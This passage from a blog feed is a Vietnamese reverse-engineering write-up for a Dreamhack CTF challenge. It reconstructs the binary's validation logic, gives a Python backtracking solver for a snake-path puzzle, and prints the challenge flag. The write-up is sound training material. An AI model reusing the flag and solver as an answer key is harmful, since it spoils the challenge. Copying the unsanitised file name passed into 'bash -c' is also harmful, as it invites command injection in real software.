      <span class="kt">char</span><span class="o">*</span> <span class="n">buffer</span><span class="p">;</span>
      <span class="kt">long</span> <span class="n">file_size</span><span class="p">;</span>
      <span class="kt">char</span> <span class="n">command</span><span class="p">[</span><span class="mi">512</span><span class="p">];</span>

      <span class="k">if</span> <span class="p">(</span><span class="n">argc</span> <span class="o">&lt;</span> <span class="mi">2</span><span class="p">)</span> <span class="p">{</span>
          <span class="n">print_usage</span><span class="p">(</span><span class="n">argv</span><span class="p">[</span><span class="mi">0</span><span class="p">]);</span>
          <span class="k">return</span> <span class="mi">1</span><span class="p">;</span>
      <span class="p">}</span>

      <span class="c1">// Attempt to open the provided answer file</span>
      <span class="n">fp</span> <span class="o">=</span> <span class="n">fopen</span><span class="p">(</span><span class="n">argv</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="s">"rb"</span><span class="p">);</span>
      <span class="k">if</span> <span class="p">(</span><span class="n">fp</span> <span class="o">==</span> <span class="nb">NULL</span><span class="p">)</span> <span class="p">{</span>
          <span class="n">puts</span><span class="p">(</span><span class="s">"File Not Found"</span><span class="p">);</span>
          <span class="k">return</span> <span class="mi">1</span><span class="p">;</span>
      <span class="p">}</span>

      <span class="c1">// Get file size</span>
      <span class="n">fseek</span><span class="p">(</span><span class="n">fp</span><span class="p">,</span> <span class="mi">0</span><span class="p">,</span> <span class="n">SEEK_END</span><span class="p">);</span>
      <span class="n">file_size</span> <span class="o">=</span> <span class="n">ftell</span><span class="p">(</span><span class="n">fp</span><span class="p">);</span>
      <span class="n">rewind</span><span class="p">(</span><span class="n">fp</span><span class="p">);</span>

      <span class="c1">// Allocate memory and read file</span>
      <span class="n">buffer</span> <span class="o">=</span> <span class="p">(</span><span class="kt">char</span><span class="o">*</span><span class="p">)</span><span class="n">malloc</span><span class="p">(</span><span class="n">file_size</span> <span class="o">+</span> <span class="mi">1</span><span class="p">);</span>
      <span class="k">if</span> <span class="p">(</span><span class="n">fread</span><span class="p">(</span><span class="n">buffer</span><span class="p">,</span> <span class="mi">1</span><span class="p">,</span> <span class="n">file_size</span><span class="p">,</span> <span class="n">fp</span><span class="p">)</span> <span class="o">!=</span> <span class="n">file_size</span><span class="p">)</span> <span class="p">{</span>
          <span class="n">puts</span><span class="p">(</span><span class="s">"Fread failed"</span><span class="p">);</span>
          <span class="n">free</span><span class="p">(</span><span class="n">buffer</span><span class="p">);</span>
          <span class="n">fclose</span><span class="p">(</span><span class="n">fp</span><span class="p">);</span>
          <span class="k">return</span> <span class="mi">1</span><span class="p">;</span>
      <span class="p">}</span>
      <span class="n">buffer</span><span class="p">[</span><span class="n">file_size</span><span class="p">]</span> <span class="o">=</span> <span class="sc">'\0'</span><span class="p">;</span>
      <span class="n">fclose</span><span class="p">(</span><span class="n">fp</span><span class="p">);</span>

      <span class="cm">/* The assembly contains a complex data block starting at 0x4020.
      This looks like a custom VM or a obfuscated state machine that 
      eventually triggers a hash check. 
      The command string at 0x2050 is: 
      "bash -c \"echo DH{$(sha256sum '%s' | awk '{print $1}')}\""
      */</span>

      <span class="c1">// Reconstructing the logic of the string formatting at 0x1170 and system call at 0x1110:</span>
      <span class="n">sprintf</span><span class="p">(</span><span class="n">command</span><span class="p">,</span> <span class="s">"bash -c </span><span class="se">\"</span><span class="s">echo DH{$(sha256sum '%s' | awk '{print $1}')}</span><span class="se">\"</span><span class="s">"</span><span class="p">,</span> <span class="n">argv</span><span class="p">[</span><span class="mi">1</span><span class="p">]);</span>
            
      <span class="c1">// In the real binary, it compares the result of the file processing</span>
      <span class="c1">// against the internal expected value.</span>
            
      <span class="c1">// If the check passes:</span>
      <span class="n">puts</span><span class="p">(</span><span class="s">"Correct!"</span><span class="p">);</span>
            
      <span class="c1">// If it fails:</span>
      <span class="c1">// puts("Wrong answer.");</span>

      <span class="n">free</span><span class="p">(</span><span class="n">buffer</span><span class="p">);</span>
      <span class="k">return</span> <span class="mi">0</span><span class="p">;</span>
  <span class="p">}</span>
</code></pre></div>        </div>
      </li>
      <li>Validation 1:
        <div class="language-c++ highlighter-rouge"><div class="highlight"><pre class="highlight"><code>  <span class="k">for</span> <span class="p">(</span><span class="kt">int</span> <span class="n">i</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span> <span class="n">i</span> <span class="o">&lt;</span> <span class="mh">0xe0</span><span class="p">;</span> <span class="n">i</span><span class="o">++</span><span class="p">)</span> <span class="p">{</span>
      <span class="kt">int</span> <span class="n">col</span> <span class="o">=</span> <span class="n">table</span><span class="p">[</span><span class="n">i</span><span class="o">*</span><span class="mi">3</span><span class="p">];</span>      <span class="c1">// offset 0x4020</span>
      <span class="kt">int</span> <span class="n">row</span> <span class="o">=</span> <span class="n">table</span><span class="p">[</span><span class="n">i</span><span class="o">*</span><span class="mi">3</span> <span class="o">+</span> <span class="mi">1</span><span class="p">];</span>  <span class="c1">// offset 0x4021</span>
      <span class="kt">int</span> <span class="n">expected</span> <span class="o">=</span> <span class="n">table</span><span class="p">[</span><span class="n">i</span><span class="o">*</span><span class="mi">3</span> <span class="o">+</span> <span class="mi">2</span><span class="p">];</span> <span class="c1">// offset 0x4022</span>
            
      <span class="k">if</span> <span class="p">(</span><span class="n">expected</span> <span class="o">==</span> <span class="mi">0</span><span class="p">)</span> <span class="k">break</span><span class="p">;</span>  <span class="c1">// Terminator</span>
            
      <span class="kt">int</span> <span class="n">pos</span> <span class="o">=</span> <span class="n">col</span> <span class="o">+</span> <span class="n">row</span> <span class="o">*</span> <span class="mi">15</span><span class="p">;</span>
      <span class="k">if</span> <span class="p">(</span><span class="n">input</span><span class="p">[</span><span class="n">pos</span><span class="p">]</span> <span class="o">!=</span> <span class="n">expected</span><span class="p">)</span>
          <span class="k">return</span> <span class="mi">0</span><span class="p">;</span>
  <span class="p">}</span>
  <span class="k">return</span> <span class="mi">1</span><span class="p">;</span>
</code></pre></div>        </div>
      </li>
      <li>Validation 2:
        <div class="language-c++ highlighter-rouge"><div class="highlight"><pre class="highlight"><code>  <span class="c1">// Tìm vị trí của giá trị 1</span>
  <span class="k">for</span> <span class="p">(</span><span class="n">row</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span> <span class="n">row</span> <span class="o">&lt;=</span> <span class="mi">14</span><span class="p">;</span> <span class="n">row</span><span class="o">++</span><span class="p">)</span> <span class="p">{</span>
      <span class="k">for</span> <span class="p">(</span><span class="n">col</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span> <span class="n">col</span> <span class="o">&lt;=</span> <span class="mi">14</span><span class="p">;</span> <span class="n">col</span><span class="o">++</span><span class="p">)</span> <span class="p">{</span>
          <span class="k">if</span> <span class="p">(</span><span class="n">input</span><span class="p">[</span><span class="n">col</span> <span class="o">+</span> <span class="n">row</span><span class="o">*</span><span class="mi">15</span><span class="p">]</span> <span class="o">==</span> <span class="mi">1</span><span class="p">)</span> <span class="p">{</span>
              <span class="n">start_col</span> <span class="o">=</span> <span class="n">col</span><span class="p">;</span>
              <span class="n">start_row</span> <span class="o">=</span> <span class="n">row</span><span class="p">;</span>
          <span class="p">}</span>
      <span class="p">}</span>
  <span class="p">}</span>

  <span class="c1">// Kiểm tra path từ 1 đến 225</span>
  <span class="k">for</span> <span class="p">(</span><span class="n">val</span> <span class="o">=</span> <span class="mi">1</span><span class="p">;</span> <span class="n">val</span> <span class="o">&lt;</span> <span class="mi">225</span><span class="p">;</span> <span class="n">val</span><span class="o">++</span><span class="p">)</span> <span class="p">{</span>
      <span class="c1">// Tìm val+1 trong các ô lân cận 8 hướng</span>
      <span class="n">found</span> <span class="o">=</span> <span class="nb">false</span><span class="p">;</span>
      <span class="k">for</span> <span class="n">each</span> <span class="n">neighbor</span> <span class="n">of</span> <span class="p">(</span><span class="n">current_col</span><span class="p">,</span> <span class="n">current_row</span><span class="p">)</span><span class="o">:</span>
          <span class="k">if</span> <span class="p">(</span><span class="n">input</span><span class="p">[</span><span class="n">neighbor</span><span class="p">]</span> <span class="o">==</span> <span class="n">val</span> <span class="o">+</span> <span class="mi">1</span><span class="p">)</span><span class="o">:</span>
              <span class="n">found</span> <span class="o">=</span> <span class="nb">true</span><span class="p">;</span>
              <span class="n">move</span> <span class="n">to</span> <span class="n">neighbor</span><span class="p">;</span>
              <span class="k">break</span><span class="p">;</span>
      <span class="k">if</span> <span class="p">(</span><span class="o">!</span><span class="n">found</span><span class="p">)</span> <span class="k">return</span> <span class="mi">0</span><span class="p">;</span>
  <span class="p">}</span>
  <span class="k">return</span> <span class="mi">1</span><span class="p">;</span>
</code></pre></div>        </div>
      </li>
    </ul>
  </li>
</ul>

<h3 id="get-table-constraints">Get Table Constraints</h3>
<ul>
  <li>Source code lấy Table:
    <div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code>  <span class="k">with</span> <span class="nb">open</span><span class="p">(</span><span class="s">'main'</span><span class="p">,</span> <span class="s">'rb'</span><span class="p">)</span> <span class="k">as</span> <span class="n">f</span><span class="p">:</span>
      <span class="n">f</span><span class="p">.</span><span class="n">seek</span><span class="p">(</span><span class="mh">0x3020</span><span class="p">)</span>
      <span class="n">table_data</span> <span class="o">=</span> <span class="n">f</span><span class="p">.</span><span class="n">read</span><span class="p">(</span><span class="mi">450</span><span class="p">)</span>

  <span class="k">for</span> <span class="n">i</span> <span class="ow">in</span> <span class="nb">range</span><span class="p">(</span><span class="mi">150</span><span class="p">):</span>
      <span class="n">col</span> <span class="o">=</span> <span class="n">table_data</span><span class="p">[</span><span class="n">i</span><span class="o">*</span><span class="mi">3</span><span class="p">]</span>
      <span class="n">row</span> <span class="o">=</span> <span class="n">table_data</span><span class="p">[</span><span class="n">i</span><span class="o">*</span><span class="mi">3</span> <span class="o">+</span> <span class="mi">1</span><span class="p">]</span>
      <span class="n">expected</span> <span class="o">=</span> <span class="n">table_data</span><span class="p">[</span><span class="n">i</span><span class="o">*</span><span class="mi">3</span> <span class="o">+</span> <span class="mi">2</span><span class="p">]</span>
      <span class="k">if</span> <span class="n">expected</span> <span class="o">==</span> <span class="mi">0</span><span class="p">:</span>
          <span class="k">break</span>
      <span class="n">pos</span> <span class="o">=</span> <span class="n">col</span> <span class="o">+</span> <span class="n">row</span> <span class="o">*</span> <span class="mi">15</span>
      <span class="k">print</span><span class="p">(</span><span class="sa">f</span><span class="s">"pos </span><span class="si">{</span><span class="n">pos</span><span class="si">}</span><span class="s"> (col=</span><span class="si">{</span><span class="n">col</span><span class="si">}</span><span class="s">, row=</span><span class="si">{</span><span class="n">row</span><span class="si">}</span><span class="s">) = </span><span class="si">{</span><span class="n">expected</span><span class="si">}</span><span class="s">"</span><span class="p">)</span>
</code></pre></div>    </div>
  </li>
</ul>

<h3 id="finding-snake-path">Finding Snake Path</h3>
<h4 id="thuật-toán">Thuật toán</h4>
<p><strong>Bài toán:</strong></p>
<ul>
  <li>Lưới 15x15 = 225 ô</li>
  <li>150 ô có giá trị cố định (từ table)</li>
  <li>75 ô trống cần điền</li>
  <li>Các giá trị 1-225 phải tạo thành đường đi liên tục (8 hướng adjacent)</li>
</ul>

<p><strong>Thuật toán: Backtracking</strong></p>

<ol>
  <li>Parse table để biết giá trị nào ở vị trí nào</li>
  <li>Tìm các “gaps” - khoảng trống giữa các giá trị liên tiếp</li>
  <li>Với mỗi gap (v1 → v2), tìm đường đi từ pos(v1) đến pos(v2) qua các ô trống</li>
  <li>Dùng backtracking để thử các đường đi khả thi</li>
</ol>

<h4 id="source-code">Source code:</h4>
<ul>
  <li>Ta có code backtracking như sau:
    <div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code>      <span class="k">def</span> <span class="nf">solve_all_gaps</span><span class="p">(</span><span class="n">gap_idx</span><span class="p">,</span> <span class="n">solution</span><span class="p">,</span> <span class="n">filled</span><span class="p">):</span>
      <span class="k">if</span> <span class="n">gap_idx</span> <span class="o">&gt;=</span> <span class="nb">len</span><span class="p">(</span><span class="n">gaps</span><span class="p">):</span>
          <span class="k">return</span> <span class="bp">True</span>  <span class="c1"># Solved!
</span>        
      <span class="n">v1</span><span class="p">,</span> <span class="n">v2</span><span class="p">,</span> <span class="n">missing</span> <span class="o">=</span> <span class="n">gaps</span><span class="p">[</span><span class="n">gap_idx</span><span class="p">]</span>
      <span class="n">p1</span><span class="p">,</span> <span class="n">p2</span> <span class="o">=</span> <span class="n">exp_to_pos</span><span class="p">[</span><span class="n">v1</span><span class="p">],</span> <span class="n">exp_to_pos</span><span class="p">[</span><span class="n">v2</span><span class="p">]</span>
        
      <span class="c1"># Tìm tất cả đường đi có độ dài đúng
</span>      <span class="k">for</span> <span class="n">path</span> <span class="ow">in</span> <span class="n">find_paths</span><span class="p">(</span><span class="n">p1</span><span class="p">,</span> <span class="n">p2</span><span class="p">,</span> <span class="nb">len</span><span class="p">(</span><span class="n">missing</span><span class="p">)</span> <span class="o">+</span> <span class="mi">1</span><span class="p">):</span>
          <span class="c1"># Thử path này
</span>          <span class="k">for</span> <span class="n">i</span><span class="p">,</span> <span class="n">p</span> <span class="ow">in</span> <span class="nb">enumerate</span><span class="p">(</span><span class="n">path</span><span class="p">):</span>
              <span class="n">solution</span><span class="p">[</span><span class="n">p</span><span class="p">]</span> <span class="o">=</span> <span class="n">missing</span><span class="p">[</span><span class="n">i</span><span class="p">]</span>
              <span class="n">filled</span><span class="p">.</span><span class="n">add</span><span class="p">(</span><span class="n">p</span><span class="p">)</span>
            
          <span class="k">if</span> <span class="n">solve_all_gaps</span><span class="p">(</span><span class="n">gap_idx</span> <span class="o">+</span> <span class="mi">1</span><span class="p">,</span> <span class="n">solution</span><span class="p">,</span> <span class="n">filled</span><span class="p">):</span>
              <span class="k">return</span> <span class="bp">True</span>
            
          <span class="c1"># Backtrack
</span>          <span class="k">for</span> <span class="n">p</span> <span class="ow">in</span> <span class="n">path</span><span class="p">:</span>
              <span class="n">solution</span><span class="p">[</span><span class="n">p</span><span class="p">]</span> <span class="o">=</span> <span class="mi">0</span>
              <span class="n">filled</span><span class="p">.</span><span class="n">remove</span><span class="p">(</span><span class="n">p</span><span class="p">)</span>
        
      <span class="k">return</span> <span class="bp">False</span>
</code></pre></div>    </div>
  </li>
</ul>

<h3 id="reversing">Reversing</h3>
<ul>
  <li>Từ phân tích trên, ta có source code sau:
    <div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code>  <span class="c1">#!/usr/bin/env python3
</span>  <span class="k">def</span> <span class="nf">solve</span><span class="p">():</span>
      <span class="c1"># Read table from binary
</span>      <span class="k">with</span> <span class="nb">open</span><span class="p">(</span><span class="s">'main'</span><span class="p">,</span> <span class="s">'rb'</span><span class="p">)</span> <span class="k">as</span> <span class="n">f</span><span class="p">:</span>
          <span class="n">f</span><span class="p">.</span><span class="n">seek</span><span class="p">(</span><span class="mh">0x3020</span><span class="p">)</span>  <span class="c1"># Table at 0x4020 - 0x1000 (PIE offset)
</span>          <span class="n">table_data</span> <span class="o">=</span> <span class="n">f</span><span class="p">.</span><span class="n">read</span><span class="p">(</span><span class="mi">450</span><span class="p">)</span>

      <span class="c1"># Parse constraints from table
</span>      <span class="n">exp_to_pos</span> <span class="o">=</span> <span class="p">{}</span>
      <span class="n">pos_to_exp</span> <span class="o">=</span> <span class="p">{}</span>
      <span class="k">for</span> <span class="n">i</span> <span class="ow">in</span> <span class="nb">range</span><span class="p">(</span><span class="mi">150</span><span class="p">):</span>
          <span class="n">col</span> <span class="o">=</span> <span class="n">table_data</span><span class="p">[</span><span class="n">i</span><span class="o">*</span><span class="mi">3</span><span class="p">]</span>
          <span class="n">row</span> <span class="o">=</span> <span class="n">table_data</span><span class="p">[</span><span class="n">i</span><span class="o">*</span><span class="mi">3</span> <span class="o">+</span> <span class="mi">1</span><span class="p">]</span>
          <span class="n">expected</span> <span class="o">=</span> <span class="n">table_data</span><span class="p">[</span><span class="n">i</span><span class="o">*</span><span class="mi">3</span> <span class="o">+</span> <span class="mi">2</span><span class="p">]</span>
          <span class="k">if</span> <span class="n">expected</span> <span class="o">==</span> <span class="mi">0</span><span class="p">:</span>
              <span class="k">break</span>
          <span class="n">pos</span> <span class="o">=</span> <span class="n">col</span> <span class="o">+</span> <span class="n">row</span> <span class="o">*</span> <span class="mi">15</span>
          <span class="n">exp_to_pos</span><span class="p">[</span><span class="n">expected</span><span class="p">]</span> <span class="o">=</span> <span class="n">pos</span>
          <span class="n">pos_to_exp</span><span class="p">[</span><span class="n">pos</span><span class="p">]</span> <span class="o">=</span> <span class="n">expected</span>

      <span class="k">def</span> <span class="nf">get_neighbors</span><span class="p">(</span><span class="n">pos</span><span class="p">):</span>
          <span class="s">"""Get 8-way adjacent positions"""</span>
          <span class="n">col</span> <span class="o">=</span> <span class="n">pos</span> <span class="o">%</span> <span class="mi">15</span>
          <span class="n">row</span> <span class="o">=</span> <span class="n">pos</span> <span class="o">//</span> <span class="mi">15</span>
          <span class="k">return</span> <span class="p">[</span><span class="n">pos</span><span class="o">+</span><span class="n">dc</span><span class="o">+</span><span class="n">dr</span><span class="o">*</span><span class="mi">15</span> <span class="k">for</span> <span class="n">dc</span> <span class="ow">in</span> <span class="p">[</span><span class="o">-</span><span class="mi">1</span><span class="p">,</span><span class="mi">0</span><span class="p">,</span><span class="mi">1</span><span class="p">]</span> <span class="k">for</span> <span class="n">dr</span> <span class="ow">in</span> <span class="p">[</span><span class="o">-</span><span class="mi">1</span><span class="p">,</span><span class="mi">0</span><span class="p">,</span><span class="mi">1</span><span class="p">]</span> 
                  <span class="k">if</span> <span class="p">(</span><span class="n">dc</span> <span class="o">!=</span> <span class="mi">0</span> <span class="ow">or</span> <span class="n">dr</span> <span class="o">!=</span> <span class="mi">0</span><span class="p">)</span> <span class="ow">and</span> <span class="mi">0</span> <span class="o">&lt;=</span> <span class="n">col</span><span class="o">+</span><span class="n">dc</span> <span class="o">&lt;</span> <span class="mi">15</span> <span class="ow">and</span> <span class="mi">0</span> <span class="o">&lt;=</span> <span class="n">row</span><span class="o">+</span><span class="n">dr</span> <span class="o">&lt;</span> <span class="mi">15</span><span class="p">]</span>

      <span class="c1"># Find all gaps (missing values between defined ones)
</span>      <span class="n">gaps</span> <span class="o">=</span> <span class="p">[]</span>
      <span class="n">sorted_vals</span> <span class="o">=</span> <span class="nb">sorted</span><span class="p">(</span><span class="n">exp_to_pos</span><span class="p">.</span><span class="n">keys</span><span class="p">())</span>
      <span class="k">for</span> <span class="n">i</span> <span class="ow">in</span> <span class="nb">range</span><span class="p">(</span><span class="nb">len</span><span class="p">(</span><span class="n">sorted_vals</span><span class="p">)</span> <span class="o">-</span> <span class="mi">1</span><span class="p">):</span>
          <span class="n">v1</span><span class="p">,</span> <span class="n">v2</span> <span class="o">=</span> <span class="n">sorted_vals</span><span class="p">[</span><span class="n">i</span><span class="p">],</span> <span class="n">sorted_vals</span><span class="p">[</span><span class="n">i</span><span class="o">+</span><span class="mi">1</span><span class="p">]</span>
          <span class="k">if</span> <span class="n">v2</span> <span class="o">-</span> <span class="n">v1</span> <span class="o">&gt;</span> <span class="mi">1</span><span class="p">:</span>
              <span class="n">gaps</span><span class="p">.</span><span class="n">append</span><span class="p">((</span><span class="n">v1</span><span class="p">,</span> <span class="n">v2</span><span class="p">,</span> <span class="nb">list</span><span class="p">(</span><span class="nb">range</span><span class="p">(</span><span class="n">v1</span><span class="o">+</span><span class="mi">1</span><span class="p">,</span> <span class="n">v2</span><span class="p">))))</span>

      <span class="k">print</span><span class="p">(</span><span class="sa">f</span><span class="s">"Table has </span><span class="si">{</span><span class="nb">len</span><span class="p">(</span><span class="n">pos_to_exp</span><span class="p">)</span><span class="si">}</span><span class="s"> fixed values"</span><span class="p">)</span>
      <span class="k">print</span><span class="p">(</span><span class="sa">f</span><span class="s">"Found </span><span class="si">{</span><span class="nb">len</span><span class="p">(</span><span class="n">gaps</span><span class="p">)</span><span class="si">}</span><span class="s"> gaps with </span><span class="si">{</span><span class="nb">sum</span><span class="p">(</span><span class="nb">len</span><span class="p">(</span><span class="n">g</span><span class="p">[</span><span class="mi">2</span><span class="p">])</span> <span class="k">for</span> <span class="n">g</span> <span class="ow">in</span> <span class="n">gaps</span><span class="p">)</span><span class="si">}</span><span class="s"> missing values"</span><span class="p">)</span>

      <span class="c1"># Backtracking solver
</span>      <span class="k">def</span> <span class="nf">solve_all_gaps</span><span class="p">(</span><span class="n">gap_idx</span><span class="p">,</span> <span class="n">solution</span><span class="p">,</span> <span class="n">filled</span><span class="p">):</span>
          <span class="k">if</span> <span class="n">gap_idx</span> <span class="o">&gt;=</span> <span class="nb">len</span><span class="p">(</span><span class="n">gaps</span><span class="p">):</span>
              <span class="k">return</span> <span class="bp">True</span>
            
          <span class="n">v1</span><span class="p">,</span> <span class="n">v2</span><span class="p">,</span> <span class="n">missing</span> <span class="o">=</span> <span class="n">gaps</span><span class="p">[</span><span class="n">gap_idx</span><span class="p">]</span>
          <span class="n">p1</span> <span class="o">=</span> <span class="n">exp_to_pos</span><span class="p">[</span><span class="n">v1</span><span class="p">]</span>
          <span class="n">p2</span> <span class="o">=</span> <span class="n">exp_to_pos</span><span class="p">[</span><span class="n">v2</span><span class="p">]</span>
            
          <span class="k">def</span> <span class="nf">find_paths</span><span class="p">(</span><span class="n">current</span><span class="p">,</span> <span class="n">end</span><span class="p">,</span> <span class="n">steps_left</span><span class="p">,</span> <span class="n">path</span><span class="p">):</span>
              <span class="s">"""Generator for all valid paths of exact length"""</span>
              <span class="k">if</span> <span class="n">steps_left</span> <span class="o">==</span> <span class="mi">1</span><span class="p">:</span>
                  <span class="k">if</span> <span class="n">end</span> <span class="ow">in</span> <span class="n">get_neighbors</span><span class="p">(</span><span class="n">current</span><span class="p">):</span>
                      <span class="k">yield</span> <span class="n">path</span>
                  <span class="k">return</span>
                
              <span class="k">for</span> <span class="n">npos</span> <span class="ow">in</span> <span class="n">get_neighbors</span><span class="p">(</span><span class="n">current</span><span class="p">):</span>
                  <span class="k">if</span> <span class="n">npos</span> <span class="o">==</span> <span class="n">end</span> <span class="ow">or</span> <span class="n">npos</span> <span class="ow">in</span> <span class="n">filled</span> <span class="ow">or</span> <span class="n">npos</span> <span class="ow">in</span> <span class="n">path</span><span class="p">:</span>
                      <span class="k">continue</span>
                  <span class="k">yield</span> <span class="k">from</span> <span class="n">find_paths</span><span class="p">(</span><span class="n">npos</span><span class="p">,</span> <span class="n">end</span><span class="p">,</span> <span class="n">steps_left</span> <span class="o">-</span> <span class="mi">1</span><span class="p">,</span> <span class="n">path</span> <span class="o">+</span> <span class="p">[</span><span class="n">npos</span><span class="p">])</span>
            
          <span class="n">steps</span> <span class="o">=</span> <span class="nb">len</span><span class="p">(</span><span class="n">missing</span><span class="p">)</span> <span class="o">+</span> <span class="mi">1</span>
          <span class="k">for</span> <span class="n">path</span> <span class="ow">in</span> <span class="n">find_paths</span><span class="p">(</span><span class="n">p1</span><span class="p">,</span> <span class="n">p2</span><span class="p">,</span> <span class="n">steps</span><span class="p">,</span> <span class="p">[]):</span>
              <span class="k">if</span> <span class="nb">len</span><span class="p">(</span><span class="n">path</span><span class="p">)</span> <span class="o">!=</span> <span class="nb">len</span><span class="p">(</span><span class="n">missing</span><span class="p">):</span>
                  <span class="k">continue</span>
                
              <span class="c1"># Try this path
</span>              <span class="k">for</span> <span class="n">i</span><span class="p">,</span> <span class="n">p</span> <span class="ow">in</span> <span class="nb">enumerate</span><span class="p">(</span><span class="n">path</span><span class="p">):</span>
                  <span class="n">solution</span><span class="p">[</span><span class="n">p</span><span class="p">]</span> <span class="o">=</span> <span class="n">missing</span><span class="p">[</span><span class="n">i</span><span class="p">]</span>
                  <span class="n">filled</span><span class="p">.</span><span class="n">add</span><span class="p">(</span><span class="n">p</span><span class="p">)</span>
                
              <span class="k">if</span> <span class="n">solve_all_gaps</span><span class="p">(</span><span class="n">gap_idx</span> <span class="o">+</span> <span class="mi">1</span><span class="p">,</span> <span class="n">solution</span><span class="p">,</span> <span class="n">filled</span><span class="p">):</span>
                  <span class="k">return</span> <span class="bp">True</span>
                
              <span class="c1"># Backtrack
</span>              <span class="k">for</span> <span class="n">p</span> <span class="ow">in</span> <span class="n">path</span><span class="p">:</span>
                  <span class="n">solution</span><span class="p">[</span><span class="n">p</span><span class="p">]</span> <span class="o">=</span> <span class="mi">0</span>
                  <span class="n">filled</span><span class="p">.</span><span class="n">remove</span><span class="p">(</span><span class="n">p</span><span class="p">)</span>
            
          <span class="k">return</span> <span class="bp">False</span>

      <span class="c1"># Initialize with fixed values
</span>      <span class="n">solution</span> <span class="o">=</span> <span class="p">[</span><span class="mi">0</span><span class="p">]</span> <span class="o">*</span> <span class="mi">225</span>
      <span class="n">filled</span> <span class="o">=</span> <span class="nb">set</span><span class="p">()</span>
      <span class="k">for</span> <span class="n">pos</span><span class="p">,</span> <span class="n">val</span> <span class="ow">in</span> <span class="n">pos_to_exp</span><span class="p">.</span><span class="n">items</span><span class="p">():</span>
          <span class="n">solution</span><span class="p">[</span><span class="n">pos</span><span class="p">]</span> <span class="o">=</span> <span class="n">val</span>
          <span class="n">filled</span><span class="p">.</span><span class="n">add</span><span class="p">(</span><span class="n">pos</span><span class="p">)</span>

      <span class="c1"># Solve
</span>      <span class="k">if</span> <span class="n">solve_all_gaps</span><span class="p">(</span><span class="mi">0</span><span class="p">,</span> <span class="n">solution</span><span class="p">,</span> <span class="n">filled</span><span class="p">):</span>
          <span class="k">print</span><span class="p">(</span><span class="s">"Solution found!"</span><span class="p">)</span>
            
          <span class="c1"># Verify
</span>          <span class="n">val_to_pos</span> <span class="o">=</span> <span class="p">{</span><span class="n">v</span><span class="p">:</span> <span class="n">i</span> <span class="k">for</span> <span class="n">i</span><span class="p">,</span> <span class="n">v</span> <span class="ow">in</span> <span class="nb">enumerate</span><span class="p">(</span><span class="n">solution</span><span class="p">)}</span>
          <span class="n">errors</span> <span class="o">=</span> <span class="nb">sum</span><span class="p">(</span><span class="mi">1</span> <span class="k">for</span> <span class="n">v</span> <span class="ow">in</span> <span class="nb">range</span><span class="p">(</span><span class="mi">1</span><span class="p">,</span> <span class="mi">225</span><span class="p">)</span> 
                      <span class="k">if</span> <span class="n">val_to_pos</span><span class="p">.</span><span class="n">get</span><span class="p">(</span><span class="n">v</span><span class="o">+</span><span class="mi">1</span><span class="p">)</span> <span class="ow">not</span> <span class="ow">in</span> <span class="n">get_neighbors</span><span class="p">(</span><span class="n">val_to_pos</span><span class="p">.</span><span class="n">get</span><span class="p">(</span><span class="n">v</span><span class="p">,</span> <span class="o">-</span><span class="mi">1</span><span class="p">)))</span>
          <span class="k">print</span><span class="p">(</span><span class="sa">f</span><span class="s">"Verification errors: </span><span class="si">{</span><span class="n">errors</span><span class="si">}</span><span class="s">"</span><span class="p">)</span>
            
          <span class="c1"># Write solution
</span>          <span class="k">with</span> <span class="nb">open</span><span class="p">(</span><span class="s">'answer.bin'</span><span class="p">,</span> <span class="s">'wb'</span><span class="p">)</span> <span class="k">as</span> <span class="n">f</span><span class="p">:</span>
              <span class="n">f</span><span class="p">.</span><span class="n">write</span><span class="p">(</span><span class="nb">bytes</span><span class="p">(</span><span class="n">solution</span><span class="p">))</span>
          <span class="k">print</span><span class="p">(</span><span class="s">"Written answer.bin"</span><span class="p">)</span>
          <span class="k">print</span><span class="p">(</span><span class="s">"</span><span class="se">\n</span><span class="s">Run: ./main answer.bin"</span><span class="p">)</span>
      <span class="k">else</span><span class="p">:</span>
          <span class="k">print</span><span class="p">(</span><span class="s">"No solution found!"</span><span class="p">)</span>

  <span class="k">if</span> <span class="n">__name__</span> <span class="o">==</span> <span class="s">"__main__"</span><span class="p">:</span>
      <span class="n">solve</span><span class="p">()</span>
</code></pre></div>    </div>
  </li>
  <li>Sau khi chạy source để tạo <code class="language-plaintext highlighter-rouge">answer.bin</code>, thực hiện chạy file theo cú pháp ban đầu để lấy flag:
    <div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>  ./main answer.bin
  Correct!
  DH<span class="o">{</span>e309147b588c517bb4100064d6185e5430ebad23d83e601327c4907bb0232292<span class="o">}</span>
</code></pre></div>    </div>
  </li>
</ul>

<h3 id="conclusion">Conclusion</h3>

<table>
  <thead>
    <tr>
      <th>Kỹ thuật</th>
      <th>Mô tả</th>
    </tr>
  </thead>
  <tbody>
    <tr>
      <td>Anti-disassembly</td>
      <td>Pattern <code class="language-plaintext highlighter-rouge">eb ff c1 ff c9</code> làm IDA hiểu sai code flow</td>
    </tr>
    <tr>
      <td>Stripped binary</td>
      <td>Không có symbol, khó trace function</td>
    </tr>
    <tr>
      <td>Two-stage validation</td>
      <td>Kiểm tra table constraints + snake path connectivity</td>
    </tr>
    <tr>
      <td>Snake path puzzle</td>
      <td>Bài toán pathfinding trên lưới với constraints</td>
    </tr>
  </tbody>
</table>]]></content><author><name>Woodie</name></author><category term="CTF" /><category term="Training" /><category term="Dreamhack" /><category term="reverse" /><summary type="html"><![CDATA[This is a Reverse Engineering challenge from Dreamhack CTF]]></summary></entry></feed>